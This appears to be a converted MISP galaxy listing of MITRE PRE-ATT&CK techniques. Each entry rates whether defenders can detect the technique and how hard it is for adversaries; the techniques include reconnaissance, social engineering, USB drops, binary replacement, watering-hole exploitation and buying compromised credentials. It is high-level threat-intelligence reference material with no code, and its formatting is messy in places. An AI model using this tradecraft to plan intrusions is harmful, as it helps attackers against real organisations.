The tag is: misp-galaxy:mitre-pre-attack-attack-pattern="Deploy exploit using advertising - PRE-T1157"

Table 3798. Table References

2014
Map network topology - PRE-T1029

A network topology is the arrangement of the various elements of a network (e.g., servers, workstations, printers, routers, firewalls, etc.). Mapping a network allows an adversary to understand how the elements are connected or related. (Citation: man traceroute) (Citation: Shodan Tutorial)

Detectable by Common Defenses: Yes

Detectable by Common Defenses explanation: Network mapping techniques/tools typically generate benign traffic that does not require further investigation by a defender since there is no actionable defense to execute. Defender review of access logs may provide some insight based on trends or patterns.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Various available tools and data sources for scouting and detecting network topologies.

The tag is: misp-galaxy:mitre-pre-attack-attack-pattern="Map network topology - PRE-T1029"

Obfuscation or cryptography - PRE-T1090

Obfuscation is the act of creating communications that are more difficult to understand. Encryption transforms the communications such that it requires a key to reverse the encryption. (Citation: FireEyeAPT28)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Techniques and signatures are hard to detect. Advanced communications and exfiltration channels are nearly indistinguishable from background noise.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Known approaches include the use of cryptography for communications, rotating drops sites (such as random list of chat fora), and one-time [https://aws.amazon.com/s3/] Simple Storage Service (S3) buckets, etc. All require sophisticated knowledge, infrastructure, and funding.

The tag is: misp-galaxy:mitre-pre-attack-attack-pattern="Obfuscation or cryptography - PRE-T1090"
Choose pre-compromised mobile app developer account credentials or signing keys - PRE-T1168

The adversary can use account credentials or signing keys of an existing mobile app developer to publish malicious updates of existing mobile apps to an application store, or to abuse the developer's identity and reputation to publish new malicious apps. Many mobile devices are configured to automatically install new versions of already-installed apps. (Citation: Fraudenlent Apps Stolen Dev Credentials)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Possible to detect compromised credentials if alerting from a service provider is enabled and acted upon by the individual.

Difficulty for the Adversary: No

Difficulty for the Adversary explanation: The difficulty of obtaining useful developer credentials may vary. Well-organized, professional app developers whose credentials or signing keys would be the most useful to an adversary because of the large install bases of their apps, would likely strongly protect their credentials and signing keys. Less-organized app developers may not protect their credentials and signing keys as strongly, but the credentials and signing keys would also be less useful to an adversary. These less-organized app developers may reuse passwords across sites, fail to turn on multi-factor authentication features when available, or store signing keys in unprotected locations.

The tag is: misp-galaxy:mitre-pre-attack-attack-pattern="Choose pre-compromised mobile app developer account credentials or signing keys - PRE-T1168"

Spear phishing messages with text only - PRE-T1145

This technique has been deprecated. Please see ATT&CK’s Initial Access and Execution tactics for replacement techniques.

Emails with text only phishing messages do not contain any attachments or links to websites. They are designed to get a user to take a follow on action such as calling a phone number or wiring money. They can also be used to elicit an email response to confirm existence of an account or user. (Citation: Paypal Phone Scam)

Detectable by Common Defenses: No
Detectable by Common Defenses explanation: End user training and awareness is the primary defense for flagging a plain text email so the end user does not respond or take any requested action (e.g., calling a designated number).

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Sending messages with text only should be accepted in most cases (e.g., not being filtered based on source, content).

The tag is: misp-galaxy:mitre-pre-attack-attack-pattern="Spear phishing messages with text only - PRE-T1145"

**Automated system performs requested action - PRE-T1161**

This technique has been deprecated. Please see ATT&CK’s Initial Access and Execution tactics for replacement techniques.

Users may be performing legitimate activity but using media that is compromised (e.g., using a USB drive that comes with malware installed during manufacture or supply). Upon insertion in the system the media auto-runs and the malware executes without further action by the user. (Citation: WSUSpect2015)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Environments without extensive endpoint sensing capabilities do not typically collect this level of detailed information.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Autoruns with USB keys and CDs traditionally were always on (e.g., [http://windows.microsoft.com Windows] 7 is now an exception with a new policy of limiting the always on nature of Autoruns), ensuring and automated system completes a requested action. Specialized use cases exist where automated systems are specifically designed against automatically performing certain actions (e.g., USB/CD insertion and automatically running is disabled in certain environments).

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Automated system performs requested action - PRE-T1161"*

**Table 3805. Table References**

</table>

**Obtain/re-use payloads - PRE-T1123**

A payload is the part of the malware which performs a malicious action. The adversary may re-use payloads when the needed capability is already available. (Citation: SonyDestover)
Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Adversary will likely use code repositories, but detecting an adversary acquiring a payload would require the defender to be monitoring the code repository where the payload is stored. If the adversary re-uses payloads, this allows the defender to create signatures to detect using these known indicators of compromise (e.g., hashes).

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Several exploit repositories and tool suites exist for re-use and tailoring.

The tag is: misp-galaxy:mitre-pre-attack-attack-pattern="Obtain/re-use payloads - PRE-T1123"

Table 3806. Table References

**Analyze social and business relationships, interests, and affiliations - PRE-T1072**

Social media provides insight into the target’s affiliations with groups and organizations. Certification information can explain their technical associations and professional associations. Personal information can provide data for exploitation or even blackmail. (Citation: Scasny2015)

Detectable by Common Defenses: No
Detectable by Common Defenses explanation: Public sources are external to the defender’s organization. Some social media sites have an option to show you when users are looking at your profile, but an adversary can evade this tracking depending on how they conduct the searches.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Social and business relationship information for an individual can be found by examining their social media contacts (e.g., [https://www.facebook.com Facebook] and [https://www.linkedin.com LinkedIn]). Social media also provides insight into the target's affiliations with groups and organizations. Finally, certification information can explain their technical associations and professional associations.

The tag is: misp-galaxy:mitre-pre-attack-attack-pattern="Analyze social and business relationships, interests, and affiliations - PRE-T1072"

Disseminate removable media - PRE-T1156

This technique has been deprecated. Please see ATT&CK’s Initial Access and Execution tactics for replacement techniques.

Removable media containing malware can be injected in to a supply chain at large or small scale. It can also be physically placed for someone to find or can be sent to someone in a more targeted manner. The intent is to have the user utilize the removable media on a system where the adversary is trying to gain access. (Citation: USBMalwareAttacks) (Citation: FPDefendNewDomain) (Citation: ParkingLotUSB)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: From a technical perspective, detection of an adversary disseminating removable media is not possible as there is no technical element involved until the compromise phase. Most facilities generally do not perform extensive physical security patrols, which would be necessary in order to promptly identify an adversary deploying removable
media to be used in an attack.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Commonly executed technique by penetration testers to gain access to networks via end users who are innately trusting of newly found or available technology.

The tag is: misp-galaxy:mitre-pre-attack-attack-pattern="Disseminate removable media - PRE-T1156"

Table 3811. Table References

**Replace legitimate binary with malware - PRE-T1155**

This technique has been deprecated. Please see ATT&CK’s Initial Access and Execution tactics for replacement techniques.

Replacing a legitimate binary with malware can be accomplished either by replacing a binary on a legitimate download site or standing up a fake or alternative site with the malicious binary. The intent is to have a user download and run the malicious binary thereby executing malware. (Citation: FSecureICS)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: On the host end user system, integrity checking (e.g., hash verification, code signing enforcement), application whitelisting, sandboxing, or behavioral-based/heuristic-based systems are most likely to be successful in detecting this technique. On the source webserver, detecting binary changes is easy to detect if performed.

Difficulty for the Adversary: No

Difficulty for the Adversary explanation: Requires the adversary to replace a binary on a website where users will download the binary (e.g., patch, firmware update, software application) as innately trusted. The additional challenge is the reduced set of vendor-trusted websites that are vulnerable.

The tag is: misp-galaxy:mitre-pre-attack-attack-pattern="Replace legitimate binary with malware - PRE-T1155"

**Secure and protect infrastructure - PRE-T1094**

An adversary may secure and protect their infrastructure just as defenders do. This could include the use of VPNs, security software, logging and monitoring, passwords, or other defensive measures. (Citation: KrebsTerracottaVPN)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Indistinguishable from standard security practices employed by legitimate operators.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Adversary benefits from our own advances, techniques, and software when securing and protecting their own development infrastructure.

The tag is: misp-galaxy:mitre-pre-attack-attack-pattern="Secure and protect infrastructure - PRE-T1094"

Table 3814. Table References
Determine firmware version - PRE-T1035

Firmware is permanent software programmed into the read-only memory of a device. As with other types of software, firmware may be updated over time and have multiple versions. (Citation: Abdelnur Advanced Fingerprinting)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: No easy way for defenders to detect when an adversary collects this information.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Depending upon the target device, there are variable ways for an adversary to determine the firmware version. In some cases, this information can be derived from easily obtained information. For example, in [http://www.cisco.com Cisco] devices, the firmware version is easily determined once the device model and OS version is known since it is included in the release notes.

The tag is: misp-galaxy:mitre-pre-attack-attack-pattern="Determine firmware version - PRE-T1035"

Develop KITs/KIQs - PRE-T1004

Leadership derives Key Intelligence Topics (KITs) and Key Intelligence Questions (KIQs) from the areas of most interest to them. KITs are an expression of management’s intelligence needs with respect to early warning, strategic and operational decisions, knowing the competition, and understanding the competitive situation. KIQs are the critical questions aligned by KIT which provide the basis for collection plans, create a context for analytic work, and/or identify necessary external operations. (Citation: Herring1999)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Normal aspect of adversary planning lifecycle. May not be done by all adversaries.

The tag is: misp-galaxy:mitre-pre-attack-attack-pattern="Develop KITs/KIQs - PRE-T1004"
Research relevant vulnerabilities/CVEs - PRE-T1068

Common Vulnerability Enumeration (CVE) is a dictionary of publicly known information about security vulnerabilities and exposures. An adversary can use this information to target specific software that may be vulnerable. (Citation: WeaponsVulnerable) (Citation: KasperskyCarbanak)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Public source external to the defender's organization.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Using standard headers/fingerprints from normal traffic, it is often trivial to identify the SW or HW the target is running, which can be correlated against known CVEs and exploit packages.

The tag is: `misp-galaxy:mitre-pre-attack-attack-pattern="Research relevant vulnerabilities/CVEs - PRE-T1068"`

Determine 3rd party infrastructure services - PRE-T1061

A wide variety of cloud, virtual private services, hosting, compute, and storage solutions are available as 3rd party infrastructure services. These services could provide an adversary with another avenue of approach or compromise. (Citation: LUCKYCAT2012) (Citation: Schneier-cloud) (Citation: Computerworld-suppliers)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Adversary searches publicly available sources and may find this information on the 3rd party web site listing new customers/clients.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Press releases may reveal this information particularly when it is an expected cost savings or improvement for scalability/reliability.

The tag is: `misp-galaxy:mitre-pre-attack-attack-pattern="Determine 3rd party infrastructure services - PRE-T1061"`
Determine 3rd party infrastructure services - PRE-T1061 has relationships with:

- related-to: misp-galaxy:mitre-pre-attack-attack-pattern="Determine 3rd party infrastructure services - PRE-T1037" with estimative-language:likelihood-probability="almost-certain"

### Untargeted client-side exploitation - PRE-T1147

This technique has been deprecated. Please see ATT&CK’s Initial Access and Execution tactics for replacement techniques.

A technique that takes advantage of flaws in client-side applications without targeting specific users. For example, an exploit placed on an often widely used public web site intended for drive-by delivery to whomever visits the site. (Citation: CitizenLabGreatCannon)

Detectable by Common Defenses: Yes

Detectable by Common Defenses explanation: Defensive technologies exist to scan web content before delivery to the requested end user. However, this is not fool proof as some sites encrypt web communications and the adversary constantly moves to sites not previously flagged as malicious thus defeating this defense. Host-based defenses can also aid in detection/mitigation as well as detection by the web site that got compromised.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Commonly executed technique to place an exploit on an often widely used public web site intended for driveby delivery.

The tag is: misp-galaxy:mitre-pre-attack-attack-pattern="Untargeted client-side exploitation - PRE-T1147"

### Compromise 3rd party infrastructure to support delivery - PRE-T1089

Instead of buying, leasing, or renting infrastructure an adversary may compromise infrastructure and use it for some or all of the attack cycle. (Citation: WateringHole2014) (Citation: FireEye Operation SnowMan)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Defender will not have visibility on 3rd party sites
unless target is successfully enticed to visit one.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Commonly used technique currently (e.g., [https://www.wordpress.com] WordPress sites) as precursor activity to launching attack against intended target (e.g., acquiring botnet or layers of proxies for reducing attribution possibilities).

The tag is: misp-galaxy:mitre-pre-attack-attack-pattern="Compromise 3rd party infrastructure to support delivery - PRE-T1089"

Compromise 3rd party infrastructure to support delivery - PRE-T1089 has relationships with:

- related-to: misp-galaxy:mitre-pre-attack-attack-pattern="Compromise 3rd party infrastructure to support delivery - PRE-T1111" with estimative-language:likelihood-probability="almost-certain"

Table 3820. Table References

Links

https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1089

Discover target logon/email address format - PRE-T1032

Email addresses, logon credentials, and other forms of online identification typically share a common format. This makes guessing other credentials within the same domain easier. For example if a known email address is first.last@company.com it is likely that others in the company will have an email in the same format. (Citation: RSA-APTRecon)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Easily determined and not intended to be protected information. Publicly collected and shared repositories of email addresses exist.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Scraping of known email addresses from the target will likely reveal the target standard for address/username format. This information is easily discoverable.

The tag is: misp-galaxy:mitre-pre-attack-attack-pattern="Discover target logon/email address format - PRE-T1032"

Table 3821. Table References

Assess KITs/KIQs benefits - PRE-T1006

Key Intelligence Topics (KITs) and Key Intelligence Questions (KIQs) may be further subdivided to focus on political, economic, diplomatic, military, financial, or intellectual property categories. An adversary may specify KITs or KIQs in this manner in order to understand how the information they are pursuing can have multiple uses and to consider all aspects of the types of information they need to target for a particular purpose. (Citation: CompetitiveIntelligence) (Citation: CompetitiveIntelligence)KIT.

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Normal aspect of adversary planning lifecycle. May not be done by all adversaries.

The tag is: misp-galaxy:mitre-pre-attack-attack-pattern="Assess KITs/KIQs benefits - PRE-T1006"
**Obfuscate operational infrastructure - PRE-T1095**

Obfuscation is hiding the day-to-day building and testing of new tools, chat servers, etc. (Citation: DellComfooMasters)

Detectable by Common Defenses: Yes

Detectable by Common Defenses explanation: While possible to detect given a significant sample size, depending on how the unique identifier is used detection may be difficult as similar patterns may be employed elsewhere (e.g., content hosting providers, account reset URLs).

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: An adversary can easily generate pseudo-random identifiers to associate with a specific target, include the indicator as part of a URL and then identify which target was successful.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern=*"Obfuscate operational infrastructure - PRE-T1095"

**Test malware in various execution environments - PRE-T1134**

Malware may perform differently on different platforms (computer vs handheld) and different operating systems ([http://www.ubuntu.com Ubuntu] vs [http://www.apple.com/osx/ OS X]), and versions ([http://windows.microsoft.com Windows] 7 vs 10) so malicious actors will test their malware in the environment(s) where they most expect it to be executed. (Citation: BypassMalwareDefense)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Adversary controls the test and defender likely has no visibility.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Adversary can simulate most environments (e.g., variable operating systems, patch levels, application versions) with details available from other techniques.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern=*"Test malware in various execution environments - PRE-T1134"
Determine centralization of IT management - PRE-T1062

Determining if a "corporate" help desk exists, the degree of access and control it has, and whether there are "edge" units that may have different support processes and standards. (Citation: SANSCentralizeManagement)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: No technical means to detect an adversary collecting information about a target. Any detection would be based upon strong OPSEC policy implementation.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Requires an adversary to undergo a research process to learn the internal workings of an organization. An adversary can do this by social engineering individuals in the company by claiming to need to find information for the help desk, or through social engineering of former employees or business partners.

The tag is: misp-galaxy:mitre-pre-attack-attack-pattern="Determine centralization of IT management - PRE-T1062"

Test physical access - PRE-T1137

An adversary can test physical access options in preparation for the actual attack. This could range from observing behaviors and noting security precautions to actually attempting access. (Citation: OCIAC Pre Incident Indicators) (Citation: NewsAgencySpy)

Detectable by Common Defenses: Yes

Detectable by Common Defenses explanation: Defender often install badging, cameras, security guards or other detection techniques for physical security and monitoring.

Difficulty for the Adversary: No

Difficulty for the Adversary explanation: Requires a physical presence in the space being entered and increased risk of being detected/detained (e.g., recorded on video camera)
Acquire or compromise 3rd party signing certificates - PRE-T1087

Code signing is the process of digitally signing executables or scripts to confirm the software author and guarantee that the code has not been altered or corrupted. Users may trust a signed piece of code more than an unsigned piece of code even if they don’t know who issued the certificate or who the author is. (Citation: Adobe Code Signing Cert)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Defender will not know what certificates an adversary acquires from a 3rd party. Defender will not know prior to public disclosure if a 3rd party has had their certificate compromised.

Difficulty for the Adversary: No

Difficulty for the Adversary explanation: It is trivial to purchase code signing certificates within an organization; many exist and are available at reasonable cost. It is complex to factor or steal 3rd party code signing certificates for use in malicious mechanisms.

Assess leadership areas of interest - PRE-T1001

Leadership assesses the areas of most interest to them and generates Key Intelligence Topics (KIT) or Key Intelligence Questions (KIQ). For example, an adversary knows from open and closed source reporting that cyber is of interest, resulting in it being a KIT. (Citation: ODNIIntegration)

Detectable by Common Defenses: No
Detectable by Common Defenses explanation: Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Normal aspect of adversary planning lifecycle. May not be done by all adversaries.

The tag is: `misp-galaxy:mitre-pre-attack-attack-pattern="Assess leadership areas of interest - PRE-T1001"`

---

### Enumerate client configurations - PRE-T1039

Client configurations information such as the operating system and web browser, along with additional information such as version or language, are often transmitted as part of web browsing communications. This can be accomplished in several ways including use of a compromised web site to collect details on visiting computers. (Citation: UnseenWorldOfCookies) (Citation: Panopticlick)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Typical information collected as part of accessing web sites (e.g., operating system, browser version, basic configurations).

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Basic web scripting capability to collect information of interest on users of interest. Requires a compromised web site and the users of interest to navigate there.

The tag is: `misp-galaxy:mitre-pre-attack-attack-pattern="Enumerate client configurations - PRE-T1039"`

---

### Private whois services - PRE-T1082

Every domain registrar maintains a publicly viewable database that displays contact information for every registered domain. Private 'whois' services display alternative information, such as their own company data, rather than the owner of the domain. (Citation: APT1)

Detectable by Common Defenses: Yes
Detectable by Common Defenses explanation: Algorithmically possible to detect COTS service usage or use of non-specific mailing addresses (PO Boxes, drop sites, etc.)

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Commercially available or easy to set up and/or register using a disposable email account.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern*="*Private whois services - PRE-T1082"

**Acquire OSINT data sets and information - PRE-T1024**

Open source intelligence (OSINT) is intelligence gathered from publicly available sources. This can include both information gathered on-line, such as from search engines, as well as in the physical world. (Citation: RSA-APTRecon)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: This activity is indistinguishable from legitimate business uses and easy to obtain. Direct access to the selected target is not required for the adversary to conduct this technique. There is a limited ability to detect this by looking at referrer fields on local web site accesses (e.g., a person who has accessed your web servers from [https://www.shodan.io Shodan]).

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Possible to gather technical intelligence about Internet accessible systems/devices by obtaining various commercial data sets and supporting business intelligence tools for ease of analysis. Commercial data set examples include advertising content delivery networks, Internet mapping/traffic collections, system fingerprinting data sets, device fingerprinting data sets, etc.

The tag is: misp-galaxy:mitre-pre-attack-attack-pattern="Acquire OSINT data sets and information - PRE-T1024"

Conduct social engineering or HUMINT operation - PRE-T1153

This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.

Social Engineering is the practice of manipulating people in order to get them to divulge information or take an action. Human Intelligence (HUMINT) is intelligence collected and provided by human sources. (Citation: 17millionScam) (Citation: UbiquityEmailScam)
Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Assuming an average company does not train its employees to be aware of social engineering techniques, it is not possible to detect the adversary’s use unless a highly motivated or paranoid employee informs security. This assessment flips to a 1 in cases of environments where security trains employees to be vigilant or in specialized industries where competitive intelligence and business intelligence train employees to be highly aware. Most likely more complex for an adversary to detect as methods move to physical or non traditionally monitored mechanisms (such as phone calls outside of call centers). Furthermore, the content of such an interaction may be lost due to lack of collection.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Assuming an average adversary whose focus is social engineering, it is not difficult for an adversary. Assuming a HUMINT operation and specialized circumstances, the adversary difficulty becomes 1. Social engineering can be easily done remotely via email or phone. In contrast, HUMINT operations typically would require physical contact at some point in the process, increasing the difficulty.

The tag is: misp-galaxy:mitre-pre-attack-attack-pattern="Conduct social engineering or HUMINT operation - PRE-T1153"

**Choose pre-compromised persona and affiliated accounts - PRE-T1120**

For attacks incorporating social engineering the utilization of an on-line persona is important. Utilizing an existing persona with compromised accounts may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona. (Citation: AnonHBGary) (Citation: Hacked Social Media Accounts)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Possible to detect compromised credentials if alerting from a service provider is enabled and acted upon by the individual.

Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: It is relatively easy and low cost to purchase compromised credentials. Mining social media sites offers open source information about a particular target. Most users tend to reuse passwords across sites and are not paranoid enough to check and see if spoofed sites from their persona exist across current social media.

The tag is: misp-galaxy:mitre-pre-attack-attack-pattern="Choose pre-compromised persona and affiliated accounts - PRE-T1120"

---

**Acquire OSINT data sets and information - PRE-T1043**

Open source intelligence (OSINT) provides free, readily available information about a target while providing the target no indication they are of interest. Such information can assist an adversary in crafting a successful approach for compromise. (Citation: RSA-APTRecon)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: This activity is indistinguishable from legitimate business uses and easy to obtain.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Possible to gather digital intelligence about a person is easily aided by social networking sites, free/for fee people search engines, and publicly available information (e.g., county databases on tickets/DUIs).

The tag is: misp-galaxy:mitre-pre-attack-attack-pattern="Acquire OSINT data sets and information - PRE-T1043"

Acquire OSINT data sets and information - PRE-T1043 has relationships with:

- related-to: misp-galaxy:mitre-pre-attack-attack-pattern="Acquire OSINT data sets and information - PRE-T1024" with estimative-language:likelihood-probability="almost-certain"

---

**Identify people of interest - PRE-T1046**

The attempt to identify people of interest or with an inherent weakness for direct or indirect targeting to determine an approach to compromise a person or organization. Such targets may
include individuals with poor OPSEC practices or those who have a trusted relationship with the intended target. (Citation: RSA-APTRecon) (Citation: Scasny2015)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Common defenses protecting against poor OPSEC practices are traditionally more policy-based in nature rather than technical. Policy-based mitigations are generally more difficult to enforce and track violations, making it more difficult that this technique can be detected by common defenses.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Specialty cases enable an adversary to use key words in order to search social media and identify personnel with poor OPSEC practices who may have access to specialized information which would make them a target of interest. In addition, the open nature of social media leads to a tendency among individuals to overshare, encouraging poor OPSEC and increasing the ease by which an adversary can identify interesting targets.

The tag is: misp-galaxy:mitre-pre-attack-attack-pattern="Identify people of interest - PRE-T1046"

</table>

**Determine external network trust dependencies - PRE-T1036**

Network trusts enable communications between different networks with specific accesses and permissions. Network trusts could include the implementation of domain trusts or the use of virtual private networks (VPNs). (Citation: CuckoosEgg) (Citation: CuckoosEgg)Wikipedia (Citation: KGBComputerMe)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: This is not easily performed remotely and therefore not a detectable event. If the adversary can sniff traffic to deduce trust relations, this is a passive activity and not detectable.

Difficulty for the Adversary: No

Difficulty for the Adversary explanation: Determining trust relationships once internal to a network is trivial. Simple tools like trace route can show evidence of firewalls or VPNs and then hosts on the either side of the firewall indicating a different trusted network. Active Directory command line tools can also identify separate trusted networks.

If completely external to a network, sniffing traffic (if possible) could also reveal the communications protocols that could be guessed to be a trusted network connection (e.g., IPsec, maybe SSL, etc.) though this is error-prone.
With no other access, this is hard for an adversary to do completely from a remote vantage point.

**Targeted client-side exploitation - PRE-T1148**

This technique has been deprecated. Please see ATT&CK’s Initial Access and Execution tactics for replacement techniques.

A technique used to compromise a specific group of end users by taking advantage of flaws in client-side applications. For example, infecting websites that members of a targeted group are known to visit with the goal to infect a targeted user's computer. (Citation: RSASEThreat) (Citation:
Detectable by Common Defenses: Yes

**Detectable by Common Defenses explanation:** Defensive technologies exist to scan web content before delivery to the requested end user. However, this is not foolproof as some sites encrypt web communications and the adversary constantly moves to sites not previously flagged as malicious thus defeating this defense. Host-based defenses can also aid in detection/mitigation as well as detection by the web site that got compromised. The added challenge for a conditional watering hole is the reduced scope and likely reduced ability to detect or be informed. Determining deltas in content (e.g., differences files type/size/number/ha‌shes) downloaded could also aid in detection.

Difficulty for the Adversary: Yes

**Difficulty for the Adversary explanation:** Commonly executed technique to place an exploit on an often widely used public web site intended for driveby delivery. The additional challenge is the reduced set of options for web sites to compromise since the set is reduced to those often visited by targets of interest.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Targeted client-side exploitation - PRE-T1148"*

### Identify supply chains - PRE-T1042

Supply chains include the people, processes, and technologies used to move a product or service from a supplier to a consumer. Understanding supply chains may provide an adversary with opportunities to exploit the people, their positions, and relationships, that are part of the supply chain. (Citation: SmithSupplyChain) (Citation: CERT-UKSupplyChain)

Detectable by Common Defenses: No

**Detectable by Common Defenses explanation:** Searching publicly available sources that cannot be monitored by a defender.

Difficulty for the Adversary: No

**Difficulty for the Adversary explanation:** Requires an intensive process to obtain the full picture. It is possible to obtain basic information/some aspects via OSINT. May be easier in certain industries where there are a limited number of suppliers (e.g., SCADA).

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Identify supply chains - PRE-T1042"*

Identify supply chains - PRE-T1042 has relationships with:

- related-to: *misp-galaxy:mitre-pre-attack-attack-pattern="Identify supply chains - PRE-T1053" with estimative-language:likelihood-probability="almost-certain"*
Install and configure hardware, network, and systems - PRE-T1113

An adversary needs the necessary skills to set up procured equipment and software to create their desired infrastructure. (Citation: KasperskyRedOctober)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Defender will not have visibility on 3rd party sites unless target is successfully enticed to visit one.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Skills are common to majority of computer scientists and "hackers". Can be easily obtained through contracting if not organic to adversary’s organization.

The tag is: misp-galaxy:mitre-pre-attack-attack-pattern="Install and configure hardware, network, and systems - PRE-T1113"

Host-based hiding techniques - PRE-T1091

Host based hiding techniques are designed to allow an adversary to remain undetected on a machine upon which they have taken action. They may do this through the use of static linking of binaries, polymorphic code, exploiting weakness in file formats, parsers, or self-deleting code. (Citation: VirutAP)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Techniques are difficult to detect and might occur in uncommon use-cases (e.g., patching, anti-malware, anti-exploitation software).

Difficulty for the Adversary: No

Difficulty for the Adversary explanation: Some of the host-based hiding techniques require advanced knowledge combined with an understanding and awareness of the target’s environment (e.g., exploiting weaknesses in file formats, parsers and detection capabilities).

The tag is: misp-galaxy:mitre-pre-attack-attack-pattern="Host-based hiding techniques - PRE-T1091"
Determine physical locations - PRE-T1059

Physical locality information may be used by an adversary to shape social engineering attempts (language, culture, events, weather, etc.) or to plan for physical actions such as dumpster diving or attempting to access a facility. (Citation: RSA-APTRecon)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Adversary searches publicly available sources that list physical locations that cannot be monitored by a defender or are not necessarily monitored (e.g., all IP addresses touching their public web space listing physical locations).

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Most corporations now list their locations on public facing websites. Some challenge still exists to find covert or sensitive locations.

The tag is: misp-galaxy:mitre-pre-attack-attack-pattern="Determine physical locations - PRE-T1059"

Table 3858. Table References

https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1059

Conduct cost/benefit analysis - PRE-T1003

Leadership conducts a cost/benefit analysis that generates a compelling need for information gathering which triggers a Key Intelligence Toptic (KIT) or Key Intelligence Question (KIQ). For example, an adversary compares the cost of cyber intrusions with the expected benefits from increased intelligence collection on cyber adversaries. (Citation: LowenthalCh4) (Citation: KIT-Herring)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Normal aspect of adversary planning lifecycle. May not be done by all adversaries.

The tag is: misp-galaxy:mitre-pre-attack-attack-pattern="Conduct cost/benefit analysis - PRE-T1003"

Table 3859. Table References

https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1016

Analyze presence of outsourced capabilities - PRE-T1080

 Outsourcing, the arrangement of one company providing goods or services to another company for something that could be done in-house, provides another avenue for an adversary to target. Businesses often have networks, portals, or other technical connections between themselves and their outsourced/partner organizations that could be exploited. Additionally, outsourced/partner organization information could provide opportunities for phishing. (Citation: Scasny2015) (Citation: OPM Breach)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Much of this analysis can be done using the target’s open source website, which is purposely designed to be informational and may not have extensive visitor tracking capabilities.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Analyzing business relationships from information gathering may provide insight into outsourced capabilities. In certain industries, outsourced
capabilities or close business partnerships may be advertised on corporate websites.

The tag is: misp-galaxy:mitre-pre-attack-attack-pattern="Analyze presence of outsourced capabilities - PRE-T1080"

Table 3861. Table References

https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1080

Create implementation plan - PRE-T1009

Implementation plans specify how the goals of the strategic plan will be executed. (Citation: ChinaCollectionPlan) (Citation: OrderOfBattle)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Normal aspect of adversary planning lifecycle. May not be done by all adversaries.

The tag is: misp-galaxy:mitre-pre-attack-attack-pattern="Create implementation plan - PRE-T1009"

